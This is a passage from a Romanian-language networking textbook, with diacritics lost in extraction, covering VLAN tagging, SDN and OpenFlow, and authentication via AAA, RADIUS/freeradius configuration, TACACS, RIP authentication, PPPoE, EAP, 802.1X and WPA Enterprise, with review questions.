ffff 0a0b 0c0d 0e01 8100 0065 0800 0604 0001 0a0b 0c0d 0e01 0000 0000 0000 c0a8 0164

n pachetul capturat mai sus se observ: adresa MAC destinaie (broadcast: ffff ffff ffff) adresa MAC surs (0a0b 0c0d 0e01) identificatorul de protocol 0x8100 specific 802.1Q identificatorul de VLAN (VLAN ID): 0x65 = 101 Frame-urile transmise prin interfaa eth1.101 ctre reeaua fizic sunt aadar frame-uri ce conin identificator de VLAN. La cellalt capt, un sistem fizic cu o configuraie similar va extrage identificatorul de VLAN i va livra frame-urile n containerele/mainile virtuale corespunztoare ce ruleaz peste acesta. n acest mod se poate crea o reea local virtual (VLAN) cu maini virtuale rulnd pe diverse servere fizice, izolate de alte reelele locale virtuale care folosesc aceeai infrastructur fizic. Acest model este comun n medii cloud. Numrul de reele locale virtuale care trebuie configurate este limitat de spaiul de 4096 de identificatori posibili (12 bii n antetul 802.1Q). Din acest motiv au aprut mecanisme precum VXLAN sau NVGRE prezentate n seciunile anterioare.

11.4 Software Defined Networking (SDN)


Dezvoltarea infrastructurilor de reele de calculatoare a nsemnat probleme de scalabilitate n configurarea i gestiunea reelelor i probleme de eficien n folosirea resurselor disponibile. n acest context a aprut conceptul de Software Defined Networking (SDN), o abordare care decupleaz aspectele decizionale (control plane) de aspectele executive (forwarding plane sau data plane) ale echipamentelor de reea. Software Defined Networking realizeaz o centralizare a informaiilor legate de control plane pentru a oferi posibilitatea lurii deciziilor n mod centralizat i informat. Deciziile sunt luate ntr-un nivel software, abstractizat de infrastructura din spate. Comunicarea ntre acest nivel software, reprezentnd control plane, i nivelul de infrastructur, reprezentnd forwarding plane, este realizat prin intermediul unui controller. O reprezentare schematic a unei infrastructuri SDN este prezentat n figura de mai jos:

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |383

SDN layer (control plane)

SDN controller software physical infrastructure (forwarding plane) (forwarding plane) Figura 11-7 Arhitectur Software Defined Networking Se spune c SDN nseamn pentru infrastructura de reea ceea ce sistemul de operare nseamn pentru hardware. Administratorul sistemului i programatorul este preocupat n mare parte doar de interfaa pe care o expune sistemul de operare, nu de hardware-ul de dedesubt i particularitile acestuia. n mod similar, SDN degreveaz administratorul de reea i programatorii de servicii de reea de particularitile infrastructurii, prin oferirea unui nivel abstractizat de control i decizie. Dispozitivele de reea din forwarding plane pot fi switch-uri sau rutere, depinznd de caz: comuntare dup adrese de nivel 2 sau de nivel 3. De asemenea, switch-urile sau ruterele pot fi fizice sau virtuale, precum Open vSwitch, Cisco Nexus 1000V, VMware vSphere. Dup cum este prezentat n figura de mai sus, pentru a putea fi transmise deciziile de la control plane la forwarding plane, este nevoie de un controller. n aceste momente, protocolul cel mai cunoscut de transferare a deciziilor de la controller la dispozitivele de reea (fizice sau virtuale) este OpenFlow i l vom detalia n seciunea urmtoare. physical

11.5.1 OpenFlow
OpenFlow este un protocol de comunicaie care permite accesul la forwarding plane-ul dispozitivelor de reea precum switch-urile i ruterele. OpenFlow reprezint o interfa standard deschis de interaciune cu dispozitivele de reea permind mutarea control plane-ului i a lanului decizional n afara dispozitivelor indiferent de tipul i proveniena acestora. Ct timp un switch sau un ruter (fizic sau virtual) ofer suport pentru OpenFlow, se va putea folosi forwarding plane-ul acestuia, iar deciziile pot fi luate centralizat, prin abstractizarea infrastructurii existente. Administratorul, serviciile de reea sau programatorul va interaciona cu un controller OpenFlow, de obicei software, iar acesta va transfera comenzile ctre dispozitivele aferente. Modul de funcionare este prezentat schematic n figura de mai jos:

384 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Open Flow controller software physical switch ruter switch ruter

Figura 11-8 Funcionare OpenFlow Standardul OpenFlow este gestionat de Open Networking Foundation (ONF), o orgnizaie din care fac parte majoritatea marilor firme din zona de networking, cloud computing i servicii de Internet.

11.5 Sumar de comenzi


brctl: comand pentru gestiunea unui switch virtual cu ajutorul modulului bridge din Linux ovs-vsctl: comand pentru gestiunea unui switch virtual de tip Open vSwitch vconfig: comand pentru crearea i gestiunea de VLAN-uri pe un sistem Linux

11.6 ntrebri
1. Care dintre urmtoarele mecanisme este o soluie direct la problemele de scalabilitate ale 802.1Q (VLAN) n mediile cloud? (alegei dou variante) OpenFlow NVGRE VXLAN Open vSwitch 2. Care dintre urmtoarele este un protocol de comunicare ntre un controller i forwarding plane-ul dispozitivelor de reea util n Software Defined Networking? OpenFlow Open vSwitch modulul bridge vmnet0

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |385 3. Care dintre urmtoarele NU este un mod de lucru al switch-urilor virtuale din cadrul VMware Workstation? host-only networking bridged networking NAT internal networking 4. 5. Care dintre urmtoarele ofer suport direct pentru OpenFlow? OpenFlow VXLAN modulul bridge VirtualBox Cu ce este asociat comanda vconfig? switch virtual switch fizic VLAN OpenFlow

11.7 Referine
[1] Introduction to Software Defined Networking - OpenFlow & VxLAN, by Vishal Shukla [2] Data Center Virtualization Fundamentals: Understanding Techniques and Designs for Highly Efficient Data Centers with Cisco Nexus, UCS, MDS, and Beyond, by Gustavo A. A. Santana [3] Network Virtualization, by Victor Moreno, Kumar Reddy [4] Cloud Computing: Concepts, Technology & Architecture, by Thomas Erl, Ricardo Puttini, Zaigham Mahmood [5] Virtualization Security: Protecting Virtualized Environments, by Dave Shackleford [6] Network-Embedded Management and Applications: Understanding Programmable Networking Infrastructure, by Alexander Clemm, Ralf Wolter [7] Software Defined Networking (SDN) - a definitive guide, by Rajesh Kumar Sundararajan [8] OpenFlow specification, https://www.opennetworking.org/sdn-resources/onfspecifications/openflow [9] http://tools.ietf.org/html/draft-mahalingam-dutt-dcops-vxlan-04 [10] http://tools.ietf.org/html/draft-sridharan-virtualization-nvgre-03 [11] http://www.vmware.com/support/ws55/doc/ws_net.html [12] http://www.virtualbox.org/manual/ch06.html [13] http://www.linuxfoundation.org/collaborate/workgroups/networking/bridge

12Autentificare
Ce se nva n acest capitol? Arhitectura AAA Protocolul RADIUS Protocolul PPPoE Framework-ul EAP

Cine este Ron Rivest este un cercettor n criptografie, inventator al mai multor algoritmi de securitate. Una dintre cele mai importante contribuii ale sale este sistemul criptografic RSA, pe care l-a dezvoltat mpreun cu Adi Shamir i Len Adleman. RSA este n ziua de astzi folosit pentru crearea de certificate digitale, semnarea de fiiere i autentificarea prin chei private. Pe lng RSA, Ron Rivest a proiectat numeroi ali algoritmi de criptare precum RC5, folosit n trecut n reelele wireless securizate cu WEP, ct i funcii hash precum MD5, folosit pentru stocarea sigur a parolelor.

12.1 AAA
Conceptul de AAA (Authentication, Authorization, Accounting) a aprut pentru a simplifica dezvoltarea arhitecturilor de securitate n contextul creterii complexitii reelelor. Decuplarea funcionalitilor permite folosirea doar a acelor componente ce sunt relevante pentru soluionarea nevoilor de securitate ale organizaiei. Autentificarea (authentication) se refer la validarea identitii utilizatorului ce dorete s foloseasc un serviciu securizat. Utilizatorul poate fi o entitate uman ce interacioneaz prin intermediul unui client, sau un program automat precum un protocol dinamic de rutare. Exemplele de servicii securizate ce pot fi protejate includ accesul la consola unui echipament, accesul la reeaua intern a unei companii sau la resursele unui server. Autentificarea se ocup strict de validarea identitii, nu i de privilegiile ce sunt ulterior oferite respectivei identiti. Pentru acest aspect al securitii se folosete componenta de autorizare. Autorizarea (authorization) dicteaz ce aciuni poate efectua o identitate autentificat. De exemplu, unui utilizator ce acceseaz consola unui echipament de reea i se poate permite doar afiarea configuraiilor, nu i modificarea acestora. La introducerea unei comenzi, componenta de autorizare din arhitectura de securitate AAA trebuie s efectueze consultarea privilegiilor utilizatorului, dup care se returneaz un rspuns de autorizare cu succes sau autorizare euat. Jurnalizarea (accounting) realizeaz o eviden a aciunilor efectuate de identitatea autentificat. Evenimentele relevante ce pot fi jurnalizate includ, de exemplu, iniializarea unei sesiuni de terminal sau terminarea respectivei sesiuni. Prin intermediul unei jurnalizri adecvate se poate examina ulterior, n cazul apariiei unei probleme, ce comenzi au fost efectuate i de ctre cine. Rezultatul este un proces de depanare simplificat i responsabilizarea utilizatorilor implicai. Cele trei aspecte ale conceptului de AAA pot fi folosite n funcie de cerinele reelei. O reea simpl cu un singur administrator poate avea nevoie doar de componenta de autentificare, urmnd ca n urma autentificrii s i fie oferite utilizatorului toate privilegiile. O reea complex cu administratori multipli poate necesita componenta de autorizare pentru a gestiona roluri multiple (de exemplu, un administrator de sistem poate necesita mai multe drepturi dect un utilizator responsabil de soluionarea tichetelor).

A u t e n t i f i c a r e |387 Sumariznd, autentificarea rspunde la ntrebarea "Cine eti?", autorizarea la "Ce poi s faci?" i jurnalizarea la "Ce ai fcut?". Pentru a putea fi folosit arhitectura AAA, echipamentele de reea n general ofer suport pentru protocoale care implementeaz funcionalitile de autentificare, autorizare i jurnalizare. Exemple de astfel de protocoale includ RADIUS, TACACS+ i Diameter. Pe lng acestea, funcionalitile AAA pot fi implementate i prin alte soluii, precum folosirea unor utilizatori configurai local pentru autentificare sau folosirea de log-uri locale pentru jurnalizare.

12.2 Protocolul RADIUS


RADIUS (Remote Access Dial-In User Service) este un protocol deschis ce definete cum trebuie realizat comunicaia ntre un echipament de reea ce necesit funcionaliti AAA i un server central ce furnizeaz aceste funcionaliti. Protocolul RADIUS este independent de resursa protejat, ceea ce l face compatibil cu un numr ridicat de scenarii de utilizare. De exemplu, un ruter poate folosi un server RADIUS pentru a gestiona utilizatorii ce au acces la configuraie i pentru a jurnaliza evenimentele de acces. Avantajul RADIUS este c la acelai server se pot conecta mai muli clieni, multiple echipamente eterogene (rutere, switch-uri, server Linux, staii de lucru) putnd accesa astfel aceeai baz de date de drepturi i utilizatori. RADIUS a fost introdus n n 1991, i a fost definit ulterior n RFC 2058 [1], publicat n 1997. Protocolul a suferit numeroase modificri de la versiunea iniial, versiunea actual fiind definit n RFC 2865 [2]. Pe lng acesta, exist multiple alte RFC-uri ce definesc funcionaliti specifice sau extensii ale protocolului. Dezvoltarea RADIUS continu i n ziua de azi; de exemplu, n anul 2012 protocolul RADIUS a fost extins pentru a permite i funcionarea peste TCP, n loc de strict UDP conform specificrii iniiale. Una din limitrile importante ale protocolului este lipsa de separare a conceptelor de autentificare i autorizare din arhitectura AAA. Cu alte cuvinte, protocolul RADIUS nu poate fi folosit pentru a determina dac un utilizator are sau nu dreptul de a efectua o anumit comand. Aceast limitare nu este prezent i n Diameter, protocol proiectat ca succesor al RADIUS. Adoptarea Diameter este pn n prezent redus, n mare parte deoarece numeroase echipamente de reea nu ofer nc suport pentru acesta. RADIUS funcioneaz peste UDP sau TCP, implicit fiind folosit UDP cu portul 1812 pentru autentificare/autorizare i 1813 pentru jurnalizare. n terminologia RADIUS, utilizatorul este entitatea care dorete s se autentifice, clientul este entitatea pe care utilizatorul ncearc s se autentifice i serverul este echipamentul care valideaz autentificarea prin intermediul protocolului RADIUS. De exemplu, dac Alice este un administrator de reea ce dorete s configureze un ruter, atunci ea reprezint utilizatorul. Ruterul ce trebuie configurat este n acest context clientul, iar serverul RADIUS poate fi un server Linux din reea. n general, staia utilizatorului nu trebuie s vorbeasc protocolul RADIUS pentru a se putea autentifica. Acesta este folosit strict pentru comunicaia dintre client i server. Exist situaii n care se dorete un procedeu mai complex de autentificare (de exemplu, pe baz de token); n astfel de situaii poate fi necesar stabilirea unui tunel RADIUS direct ntre utilizator i server.

388 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Utilizator

Client

Server RADIUS

1. Cerere autentificare

2. Access-Request
3. Access-Accept 4. Confirmare autentificare

Figura 12-1 Autentificare cu succes folosind un server RADIUS Protocolul RADIUS folosete multiple formate de pachete, diferenierea fcndu-se prin intermediul cmpului de un octet Code, situat la nceputul pachetului. Codurile existente sunt: 1: Access-Request 2: Access-Accept 3: Access-Reject 4: Accounting-Request 5: Accounting-Response 11: Access-Challenge 12: Status-Server 13: Status-Client 255: Rezervat n cadrul acestor formate de mesaje pot exista mai multe atribute, specificate prin structuri TLV (Type/Length/Value). Atributele au rolul de a preciza informaiile relevante mesajului, precum adresa IP, numele utilizatorului sau starea sesiunii de jurnalizare. n continuare sunt detaliate dou dintre scenariile de baz pentru funcionarea protocolului RADIUS.

12.2.1 Autentificare
La ncercarea de conectare din partea utilizatorului, ruterul trebuie s valideze datele de conectare (care pot fi user/parol, cheie privat, token, etc.). Primul pas n realizarea acestei validri este trimiterea unui mesaj Access-Request ctre serverul RADIUS. n interiorul mesajului sunt incluse datele de acces furnizate de ctre utilizator. Serverul RADIUS rspunde apoi printr-unul din trei mesaje: Access-Accept, n cazul n care datele furnizate sunt valide Access-Reject, n cazul n care autentificarea a euat Access-Challenge, dac finalizarea autentificrii necesit informaii suplimentare din partea utilizatorului

A u t e n t i f i c a r e |389

12.2.2 Jurnalizare
Procesul de realizare a jurnalizrii RADIUS este definit n RFC 2866 [3]. Odat realizat autentificarea, clientul poate deschide o sesiune de jurnalizare prin trimiterea unui mesaj Accounting-Request, cu atributul Acct-Status-Type pus pe valoarea Start. Dac jurnalizarea s-a fcut cu succes, serverul trimite napoi un mesaj Accounting-Response. Dac jurnalizarea a euat, atunci nu este trimis niciun rspuns. Dup deschiderea sesiunii, clientul trimite periodic actualizri folosind acelai format de mesaj Accounting-Request, cu Acct-Status-Type pus pe valoare Interim-Update. Pe lng aceste atribute, mesajul poate conine i informaii suplimentare despre evenimentul jurnalizat. Finalizarea sesiunii se face cu un mesaj Accounting-Request, cu Acct-Status-Type pe Stop.

12.2.3 freeradius
Un server popular de RADIUS pentru Linux este freeradius. Acesta poate fi pornit prin instalarea pachetului omonim. Odat instalat, clienii pot fi configurai din fiierul /etc/freeradius/clients.conf:
Client 192.168.0.2 { secret = RL shortname = R1 }

n aceste nregistrri trebuie specificate: adresa IP de la care vor veni cererile clientului, parola comun folosit pentru autentificarea acestuia i numele clientului. Parola specificat aici este folosit pentru a securiza traficul dintre client i server. Aceasta nu trebuie confundat cu parola folosit de utilizator. Revenind la un scenariu prezentat anterior, dac Alice este un administrator de sistem i dorete s acceseze un ruter pentru a-l configura, aceasta nu va folosi parola RL. Parola lui Alice ar fi precizat ntr-un alt fiier, /etc/freeradius/users:
Alice Cleartext-Password := foobar

n fiier este specificat c utilizatorul Alice se poate autentifica cu parola foobar. CleartextPassword precizeaz faptul c urmeaz o parol n text clar. O opiune mai sigur ar fi specificarea unui hash SHA n cadrul fiierului de configurare al utilizatorilor:
Alice SHA-Password := "iEPX+SQWIR3p67lj/0zigSWTKHg="

Serverul freeradius se oprete din parcurgerea fiierului users odat ce gsete o potrivire a numelui de utilizator. Acest aspect este relevant cnd se configureaz motenirea de atribute folosind grupul DEFAULT, ce include implicit toi utilizatorii. Grupul DEFAULT permite configurarea facil a unor atribute ce trebuie aplicate mai multor utilizatori. De exemplu, se poate configura ca grupul DEFAULT s precizeze c autentificarea este dezactivat, folosind atributul Auth-Type Reject:
DEFAULT Auth-Type := Reject Reply-Message = "Cont dezactivat.

Pentru a configura serverul s includ atributele DEFAULT atunci cnd determin atributele unui utilizator este folosit atributul Fall-Through:
Bob Cleartext-Password := "foobar" Fall-Through = Yes

n acest caz, serverul va continua s parcurg fiierul de configurare, urmnd ca orice atribute specificate sub nregistrri DEFAULT s fie incluse. Este necesar o atenie special la ordonarea liniilor de fiierul de configurare, ntruct acesta este parcurs n ordine. Cu alte cuvinte, urmtoarea configuraie nu va dezactiva contul lui Bob:
DEFAULT Auth-Type := Reject Reply-Message = "Cont dezactivat. Bob Cleartext-Password := "foobar" Fall-Through = Yes

390 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Motivul este c nregistrarea DEFAULT se afl naintea directivei de Fall-Through, deci nu va mai fi parcurs de ctre server atunci cnd determin atributele. Pentru a funciona corect, este necesar reordonarea configuraiei:
Bob Cleartext-Password := "foobar" Fall-Through = Yes DEFAULT Auth-Type := Reject Reply-Message = "Cont dezactivat.

Freeradius permite i configurarea altor tipuri de autentificare, ns acest lucru este descurajat. Serverul va ncerca, n funcie de pachetul primit de la client, s selecteze algoritmul cel mai potrivit pentru realizarea autentificrii. Sunt suportai numeroi algoritmi (PAP, CHAP, EAP-MD5, etc.); o parte din acetia vor fi prezentai ulterior n acest capitol. Un tip de autentificare ce este uneori necesar n scenarii de laborator este forarea autentificrii cu succes; pentru a o configura trebuie configurat Auth-Type la valoarea Accept:
Bob Auth-Type := Accept

Pe lng parol, mai pot fi precizate numeroase alte atribute, n funcie de nevoile aplicaiei:
steve Cleartext-Password := "testing" Service-Type = Framed-User, Framed-Protocol = PPP, Framed-IP-Address = 172.16.3.33, Framed-IP-Netmask = 255.255.255.0, Framed-Routing = Broadcast-Listen, Framed-Filter-Id = "std.ppp", Framed-MTU = 1500, Framed-Compression = Van-Jacobsen-TCP-IP

O greeal frecvent const n omiterea tab-ului de pe prima linie dup linia ce specific numele utilizatorului. Aceasta este esenial pentru ca serverul RADIUS s tie c nu ncercm s definim un nou utilizator. Toate liniile ce specific atribute trebuie s se termine cu virgul, exceptnd linia corespunztoare ultimului atribut. Odat realizate configurrile, serverul trebuie repornit:
Tux# /etc/init.d/freeradius restart

Pentru depanare, se poate realiza pornirea n mod debugging, caz n care sunt afiate mesaje detaliate referitoare la procesul de autentificare:
Tux# radiusd -X

Pentru testarea serverului poate fi folosit utilitarul radtest. Acesta permite simularea unui client ce ncearc s autentifice un utilizator cu un anumit set de informaii de autentificare:
Tux# radtest Alice foobar 127.0.0.1 RL R1

Dac mesajele de debugging afiate de freeradius sunt dificil de urmrit, site-ul [4] poate fi folosit pentru a extrage informaiile eseniale. Odat returnat cu succes Access-Accept la efectuarea testului cu radtest, se poate trece la configurarea clientului. Fiecare client are propriile metode de configurare a autentificrii prin RADIUS. Pe ruterele Cisco, configurarea autentificrii prin RADIUS pentru parola de enable se poate face astfel:
R1(config)# R1(config)# R1(config)# R1(config)# aaa new-model radius-server host 192.168.0.1 auth 1812 acct 1813 radius-server key RL aaa authentication enable default group radius

12.3 Protocolul TACACS


TACACS/TACACS+ sunt protocoale proprietare Cisco ce ofer suport pentru AAA. Spre deosebire de RADIUS, acestea difereniaz ntre conceptele de autentificare i autorizare, i folosesc TCP n loc de UDP. ntruct sunt protocoale nchise, acestea pot fi folosite doar n combinaie cu echipamente Cisco. Pentru reele cu echipamente aparinnd mai multor vendori se recomand folosirea unui server RADIUS.

A u t e n t i f i c a r e |391

12.4 Studiu de caz


12.4.1 Autentificarea protocoalelor dinamice de rutare: RIP
Compromiterea validitii informaiei distribuite de protocoalele dinamice de rutare poate duce la cderea complet a conectivitii din reea. Injectarea de rute false de ctre un ruter strin introdus n reea poate duce la bucle de rutare, guri negre, DDoS (distributed denial of service) sau redirectarea traficului ctre o adres IP a atacatorului n scopul extragerii de informaii confideniale. Din aceast cauz, protocoalele moderne includ autentificarea informaiilor de rutare. De exemplu, protocolul RIP poate autentifica toate mesajele de rutare folosind chei comune. Un atacator ce nu tie cheia secret va introduce actualizri de rutare neautentificate n reea; la primirea unei astfel de actualizri, ruterele existente vor ignora mesajul, conservnd astfel informaia de rutare corect. ntr-o reea de rutere ce comunic prin RIP se poate aduga autentificarea prin doar cteva comenzi:
Router(config)# key chain MYCHAIN Router(config-keychain)# key 0 Router(config-keychain-key)# key-string RLKEY Router(config)# interface FastEthernet0/0 Router(config-int)# ip rip authentication mode md5 Router(config-int)# ip rip authentication key-chain MYCHAIN

Autentificarea se configureaz la nivel de interfa, nu la nivelul ntregului protocol de rutare. Protocolul suport doi algoritmi pentru autentificarea mesajelor: n text clar, pentru medii de testare, sau folosind autentificarea MD5, pentru medii de producie. n cazul RIP, actualizrile de rutare nu sunt confideniale. Cheia configurat nu este folosit pentru a cripta mesajele, ci doar pentru a le autentifica prin semnare. Dac nu este pasivizat interfaa ctre atacator, acesta poate obine acces la rutele din reea, ns nu poate compromite securitatea informaiei de rutare prin introducerea de rute noi.

12.5 PPPoE
PPP (Point to Point Protocol) este un protocol de nivel 2 ce este n general fo losit de ctre furnizorii de servicii pentru a oferi clienilor acces Internet. Dei este situat la acelai nivel din stiva OSI ca i protocolul Ethernet, PPP ofer funcionaliti suplimentare ce l fac atractiv pentru folosirea n furnizarea de servicii. Aceste funcionaliti includ: compresia traficului, autentificarea utilizatorului i criptare. Spre deosebire de Ethernet, care este un protocol multiacces, PPP este un protocol punct la punct. Acesta poate fi deci folosit pentru a transmite trafic IP peste medii fizice punct la punct precum cablu serial sau linii telefonice. Uneori, reelele furnizorilor de servicii folosesc Ethernet pentru a transporta traficul IP dintre clieni i reeaua furnizorului. De exemplu, este mai ieftin i mai simplu de instalat o infrastructur Ethernet ntr-un complex studenesc n loc de folosirea altor medii de transport. Dezavantajul Ethernet este absena autentificrii, ceea ce duce la dificulti n gestionarea unor politici avansate pe baz de identitatea utilizatorului ce se conecteaz la Internet. Abordarea cea mai simpl ar fi folosirea PPP ca protocol de nivel 2, ns acesta este un protocol punct la punct i nu poate funciona direct peste reelele fizice multiacces folosite de Ethernet. Soluia este rularea PPP peste Ethernet, prin intermediul unui protocol numit PPPoE (PPP over Ethernet). PPPoE a fost introdus n RFC 2516 [5], ca o soluie eficient din punct de vedere al costurilor pentru furnizorii de servicii. Acetia foloseau deja PPP pentru autentificare pe linii mai vechi (dial-up), ns schimbarea mediului de transmisie ctre cablu torsadat att pe segmentul ISP-Client ct i n reeaua clientului a dus la incompatibiliti cu sistemele existente. Protocolul este implementat ca un

392 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e nivel intermediar ntre Ethernet, care st direct peste infrastructura fizic folosit, i PPP, care este necesar pentru a oferi autentificare i compatibilitate cu infrastructura furnizorului de servicii.

Nivel reea

IP
PPP

Nivel legtur de date

PPPoE
Ethernet

Nivel fizic

Cablu torsadat / Fibr optic

Figura 12-2 Stiva de protocoale n cazul folosirii PPPoE

12.6 EAP
Multitudinea metodelor de autentificare a dus la nevoia crerii unor standarde ce permit integrarea unui set larg de metode de autentificare cu infrastructurile care le utilizeaz. De exemplu, un server AAA care implementeaz un astfel de standard poate utiliza orice metod compatibil fr a fi necesar adugarea de cod direct n server. Integrarea cu metoda EAP se face prin module ce expun serverului o interfa comun de operaii. EAP (Extensible Authentication Protocol) este un framework c e definete formatul mesajelor de reea pentru o multitudine de mecanisme de autentificare. EAP este folosit de ctre numeroase protocoale de securitate. De exemplu, RADIUS i WPA2 folosesc metode EAP pentru autentificare. Terminologia folosit de EAP este aceeai cu cea folosit de ctre standardul 802.1X. Acesta definete urmtoarele dizpozitive: Autentificatorul (Authenticator) echipamentul care iniiaz comunicaia EAP; Solicitatorul (Supplicant) echipamentul care rspunde autentificatorului; Serverul de autentificare (Backend authentication server / AAA Server) echipamentul care ofer autentificatorului serviciul de autentificare. Aceste dispozitive sunt exact aceleai din scenariul cu RADIUS prezentat anterior n acest capitol. Utilizatorul din scenariul respectiv este un exemplu de solicitator, clientul (echipamentul de reea, de exemplu, un ruter) este autentificatorul, iar serverul de autentificare poate fi un server RADIUS. Comunicaia EAP este format din patru pai. n primul pas, autentificatorul cere solicitatorului s nceap autentificarea printr-un mesaj tip Request. n al doilea pas, solicitatorul rspunde autentificatorului cu un mesaj Response oferind datele cerute de acesta. Ambele mesaje conin un cmp de tip (Type) care spune ce metod EAP este folosit. n al treilea pas, autentificatorul poate trimite un nou Request pentru alte informaii ctre solicitator, iar acesta trebuie s rspund cu informaii valide. Acest schimb se poate repeta de oricte ori, pn cnd autentificatorul deine toate informaiile necesare pentru a completa procesul de autentificare. Ultimul pas este reprezentat de trimiterea unui mesaj de tip EAP Success sau EAP Failure ctre solicitator, n funcie de rezultatul autentificrii. n unele cazuri, autentificatorul poate s nu aib implementat local metoda EAP i s se comporte ca un proxy pentru serverul de autentificare din spate. Aceast funcionalitate permite unor echipamente de reea simple precum un switch sau un access point s foloseasc metode EAP complexe fr a fi necesar cod suplimentar.

A u t e n t i f i c a r e |393 Unul din avantajele oferite de EAP este flexibilitatea acestuia, ntruct metoda de autentificare poate fi recunoscut direct din mesajul primit, nefiind nevoie de configurri explicite pe serverul de autentificare. RFC-ul EAP definete un set de mesaje de baz. Dintre acestea, mesajele de tip 1 pn la 4 trebuie suportate de toate implementrile EAP. Identity (tip 1). Un mesaj Request de tip Identity este folosit pentru a descoperi informaii despre identitatea solicitatorului i pentru a descoperi ce metode EAP urmeaz s fie folosite. Un exemplu de astfel de mesaj poate s cear numele de utilizator ce urmeaz s fie folosit pentru a configura echipamentul, ns utilizarea n acest fel a tipului Identity este descurajat deoarece mesajele sunt transmise necriptat i pot fi citite sau modificate de un atacator. Notification (tip 2). Acest tip de mesaj este folosit pentru a informa utilizatorul despre un anumit eveniment, de exemplu expirarea perioadei de via a unei chei de unic folosin. n general nu este necesar folosirea acestui tip. Nak (tip 3). Mesajele de tip Nak sunt doar de tip Response i sunt folosite pentru a sugera autentificatorului c o anumit metod de autentificare este inacceptabil. Un mesaj de tip Nak ar trebui s conin i metodele de autentificare pe care solicitatorul le consider valide. MD5-Challenge (tip 4). Acest tip de mesaj este folosit de ctre autentificator pentru a verifica existena unei chei specifice la solicitator. Un mesaj de tip Request ce conine un ir aleator este trimis solicitatorului, care trebuie s rspund printr-un mesaj de tip Response ce conine un hash al irului aleator. Calculul hash-ului trebuie s aib ca intrare i o cheie secret. Acest tip de autentificare permite verificarea cheii fr ca aceasta s fie transmis peste reea. One-Time Password - OTP (tip 5). Acest tip de mesaj are o funcionalitate similar cu MD5Challenge, cu diferena c n calcularea hash-ului nu se folosete o cheie secret permanent anterior stabilit, ci o cheie de unic folosin. Generic Token Card GTC (tip 6). Acest tip de mesaj este proiectat pentru a fi folosit n combinaie cu dispozitive tip Token care genereaz un cod de autentificare valabil pentru o perioad limitat de timp. Datorit flexibilitii pe care o ofer, metodele EAP sunt folosite n numeroase standarde moderne de securitate. Cteva exemple sunt prezentate n continuare: 802.1X pentru reele cu fir i WPA Enterprise pentru reele wireless.

12.6.1 802.1X
Funcionarea EAP peste reele de tip IEEE 802.3 (de exemplu, Fast Ethernet) este definit n cadrul standardului 802.1X. Standardul definete cum se ncapsuleaz informaia EAP n cadrul frame-ului IEEE802.3, ncapsulare ce poart numele de EAPOL (EAP over LAN).

Atacator

Figura 12-3 Prevenirea atacurilor prin implementarea 802.1x

394 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e 802.1X este folosit n reele unde se dorete autentificarea utilizatorilor la nivel 2. De exemplu, un switch IEEE802.3 poate s solicite din partea unui echipament nou conectat un user i o parol nainte s permit accesul la reeaua din spate. Un server AAA compatibil EAP (de exemplu, RADIUS) este consultat de switch n vederea validrii informaiilor de autentificare oferite de dispozitiv. Avantajul principal al autentificrii de nivel 2 este c un posibil atacator nu poate obine deloc acces la reea pn nu se autentific, limitndu-se astfel accesul acestuia la serviciile complexe din reea.

12.6.2 WPA Enterprise


Standardul de securitate pentru reele wireless 802.11 WPA/WPA2 (WiFi Protected Access) poate fi utilizat n dou variante: PSK (pre-shared key), cnd se dorete autentificarea direct a utilizatorilor de ctre echipament Enterprise, cnd autentificarea se face prin intermediul unui server RADIUS A doua variant mai este cunoscut i sub numele WPA-802.1X i este definit n cadrul standardului 802.1X. Autentificarea se face folosind metode EAP, permindu-se astfel modele de autentificare mai complexe dect simpla autentificare prin cheie partajat permis n WPA-PSK. Pentru a putea certifica un echipament wireless ca fiind compatibil WPA/WPA2 trebuie implementat un set minim de metode EAP, definite de ctre organizaia de standardizare Wi-Fi Alliance. Exemple de astfel de metode includ n 2013: EAP-TLS, PEAP-TLS, EAP-SIM, EAP-AKA i EAP-FAST. Acestea trebuie s fie implementate att de clientul wireless care ncearc s se autentifice n reea, ct i de serverul RADIUS utilizat pentru autentificare.

12.7 Sumar de comenzi i fiiere


12.7.1 Linux
Comand /etc/freeradius/clients.conf /etc/freeradius/users Radiusd Radtest pon poff ppoeconfig Descriere fiier de configurare freeradius pentru specificarea clienilor fiier de configurare freeradius pentru specificarea utilizatorilor server RADIUS open source utilitar pentru testarea autentificrii folosind un server RADIUS Utilitar folosit pentru iniierea unei conexiuni PPP Utilitar folosit pentru terminarea unei conexiuni PPP Utilitar folosit pentru configurarea unei conexiuni PPP

A u t e n t i f i c a r e |395

12.8 ntrebri
1. Dup ce a obinut acces la consola de configurare a unui echipament de reea, un administrator ncearc s schimbe adresa IP a echipamentului. Comanda eueaz deoarece administratorul nu avea drepturile necesare. Acesta este un exemplu de eec de: Jurnalizare. Autentificare. Autorizare. Criptare. 2. Care afirmaii sunt adevrate n ceea ce privete utilizarea protocolului RADIUS? Clientul comunic direct cu dispozitivul accesat i serverul RADIUS pentru a completa autentificarea. RADIUS este un protocol proprietar Cisco. RADIUS folosete porturi diferite pentru autentificare i autorizare. Acelai server RADIUS poate deservi mai multe tipuri diferite de echipamente de reea. 3. Care dintre urmtoarele este un avantaj al folosirii protocolului RADIUS versus configurarea conturilor direct pe echipamente? Reducerea costului infrastructurii de reea. Simplificarea configurrii reelei. Simplificarea gestiunii conturilor de utilizator. mbuntirea rezilienei reelei la atacuri din exterior. 4. Cum funcioneaz protocolul PPPoE? ncapsuleaz un frame Ethernet ntr-un frame PPP n scopul funcionrii Ethernet peste medii punct la punct. ncapsuleaz un frame PPP ntr-un frame Ethernet n scopul funcionrii PPP peste medii punct la punct. ncapsuleaz un frame Ethernet ntr-un frame PPP n scopul funcionrii Ethernet peste medii multiacces. ncapsuleaz un frame PPP ntr-un frame Ethernet n scopul funcionrii PPP peste medii multiacces.

396 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

12.9 Referine
